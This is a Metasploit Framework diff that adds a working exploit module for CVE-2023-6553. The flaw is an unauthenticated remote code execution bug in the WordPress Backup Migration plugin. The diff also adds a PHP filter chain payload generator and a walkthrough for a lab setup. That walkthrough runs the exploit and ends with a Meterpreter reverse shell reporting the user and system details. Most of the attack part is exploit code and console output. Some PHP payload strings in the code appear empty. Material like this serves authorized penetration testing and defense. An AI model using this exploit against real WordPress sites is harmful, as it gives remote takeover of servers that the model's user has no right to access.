diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 7c6163db0670..b60af94d32c0 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -60,3 +60,4 @@ paid-memberships-pro woocommerce-payments file-manager-advanced-shortcode royal-elementor-addons +backup-backup diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md new file mode 100644 index 000000000000..54bad741450b --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -0,0 +1,126 @@ +## Vulnerable Application + +This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is +exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. + +The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend +bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend +a PHP payload to a string which gets evaluated by a require statement, which results in command execution. + +### Setup + +Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below: +``` +version: "3" +# Defines which compose version to use +services: + # Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image. + db: + image: mysql:5.7 + # image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation. + restart: always + environment: + MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD + MYSQL_DATABASE: MyWordPressDatabaseName + MYSQL_USER: MyWordPressUser + MYSQL_PASSWORD: Pa$$5w0rD + # Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password. + wordpress: + depends_on: + - db + image: wordpress:latest + restart: always + # Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately. + ports: + - "8000:80" + # The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000 + environment: + WORDPRESS_DB_HOST: db:3306 + WORDPRESS_DB_USER: MyWordPressUser + WORDPRESS_DB_PASSWORD: Pa$$5w0rD + WORDPRESS_DB_NAME: MyWordPressDatabaseName +# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container. + volumes: + ["./:/var/www/html"] +volumes: + mysql: {} +``` + +Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`. +Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes +setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created +admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the +`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the +plugin. You should now have a vulnerable instance running. + +## Verification Steps + +1. Start msfconsole +1. Do: `use ` +1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options +1. Run the module +1. Receive a Meterpreter session in the context of the user running the WordPress application. + +## Scenarios +### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0) +``` +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000 +rport => 8000 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > options + +Module options (exploit/multi/http/wp_backup_migration_php_filter): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the wordpress application + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/wp_backup_migration_php_filter) > run + +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.0 +[+] Detected Backup Migration Plugin version: 1.3.7 +[+] The target appears to be vulnerable. +[*] Writing the payload to disk, character by character, please wait... +[*] Sending stage (39927 bytes) to 192.168.123.1 +[+] Deleted L +[+] Deleted ONxu.php +[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 856d06702f34 +OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64 +Meterpreter : php/linux +meterpreter > +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http/php_filter_chain.rb b/lib/msf/core/exploit/remote/http/php_filter_chain.rb new file mode 100644 index 000000000000..0b453e5845b2 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/php_filter_chain.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + module PhpFilterChain + + # This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI. + # + # There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv) + # in PHP in order to convert from one encoding to another. + # + # Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining + # together specific encoding conversions, we can control the bytes that get prepended to the string. + # + # An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP. + # PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on + # the system and then you can build a payload with filter chains which will then be executed by the "require". + # Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode||resource=php://temp" + # More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it + def initialize(info = {}) + super + end + + CONVERSIONS = { + "0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", + "1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", + "2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", + "3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", + "4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", + "5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", + "6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", + "7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", + "8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", + "9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", + "A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", + "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", + "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", + "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", + "C" => "convert.iconv.UTF8.CSISO2022KR", + "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", + "D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", + "d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", + "E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", + "e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", + "F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", + "f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", + "g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", + "G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", + "H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", + "h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", + "I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", + "i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", + "J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", + "j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", + "K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", + "k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", + "L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", + "l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", + "M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", + "m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", + "N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", + "n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", + "O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", + "o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", + "P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", + "p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", + "q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", + "Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", + "R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", + "r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", + "S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", + "s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", + "T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", + "t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", + "U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", + "u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", + "V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", + "v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", + "W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", + "w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", + "X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", + "x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", + "Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", + "y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", + "Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", + "z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", + "/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", + "+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", + "=" => "", # since `=` is only used as trailing padding, it can safely be ignored. + } + + def generate_php_filter_payload(command) + chain = command.encode("UTF-8") + encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=") + filters = "convert.iconv.UTF8.CSISO2022KR|" + filters << "convert.base64-encode|" + filters << "convert.iconv.UTF8.UTF7|" + + encoded_chain.reverse.each_char do |c| + filters << CONVERSIONS[c] + "|" + filters << "convert.base64-decode|" + filters << "convert.base64-encode|" + filters << "convert.iconv.UTF8.UTF7|" + end + + filters += "convert.base64-decode" + "php://filter/#{filters}/resource=php://temp" + + end + end + end + end + end +end diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb new file mode 100644 index 000000000000..1956b73f1b8b --- /dev/null +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::PhpFilterChain + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE', + 'Description' => %q{ + This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is + exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. + + The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend + bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend + a PHP payload to a string which gets evaluated by a require statement, which results in command execution. + }, + 'Author' => [ + 'Nex Team', # Vulnerability discovery + 'Valentin Lobstein', # PoC + 'jheysel-r7' # msfmodule + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6553'], + ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'], + ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'], + ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca'] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + }, + 'Platform' => ['unix', 'linux', 'win', 'php'], + 'Arch' => [ARCH_PHP], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2023-12-11', + 'DefaultTarget' => 0, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']), + ] + ) + end + + def check + return CheckCode::Unknown unless wordpress_and_online? + + wp_version = wordpress_version + print_status("WordPress Version: #{wp_version}") if wp_version + + # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup" + check_code = check_plugin_version_from_readme('backup-backup', '1.3.8') + + if check_code.code != 'appears' + return CheckCode::Safe + end + + plugin_version = check_code.details[:version] + print_good("Detected Backup Migration Plugin version: #{plugin_version}") + CheckCode::Appears + end + + def send_payload(payload) + php_filter_chain_payload = generate_php_filter_payload(payload) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), + 'method' => 'POST', + 'headers' => { + 'Content-Dir' => php_filter_chain_payload + } + ) + fail_with(Failure::Unreachable, 'Connection failed') if res.nil? + fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200 + end + + def write_to_payload_file(string_to_write) + # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain, + # the payload becomes quite large and we start to hit limitations due to the HTTP header size. + # For example this payload: "", ends up being 7721 characters long. + # The payload size limit on the target I was testing seemed to be around 8000 characters. + # Using the following: (more elegant solution) exceeds the + # size limit which is why I ended up using ", "char" ?> and then after + # copying the single_char_filename to a filename with a .php extension to be executed. + + single_char_filename = Rex::Text.rand_text_alpha(1) + string_to_write.each_char do |char| + send_payload("") + end + register_file_for_cleanup(single_char_filename) + send_payload("") + register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) + end + + def trigger_payload_file + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']), + 'method' => 'GET' + ) + print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res + end + + def exploit + print_status('Writing the payload to disk, character by character, please wait...') + # Use double quotes in the payload, not single. + write_to_payload_file("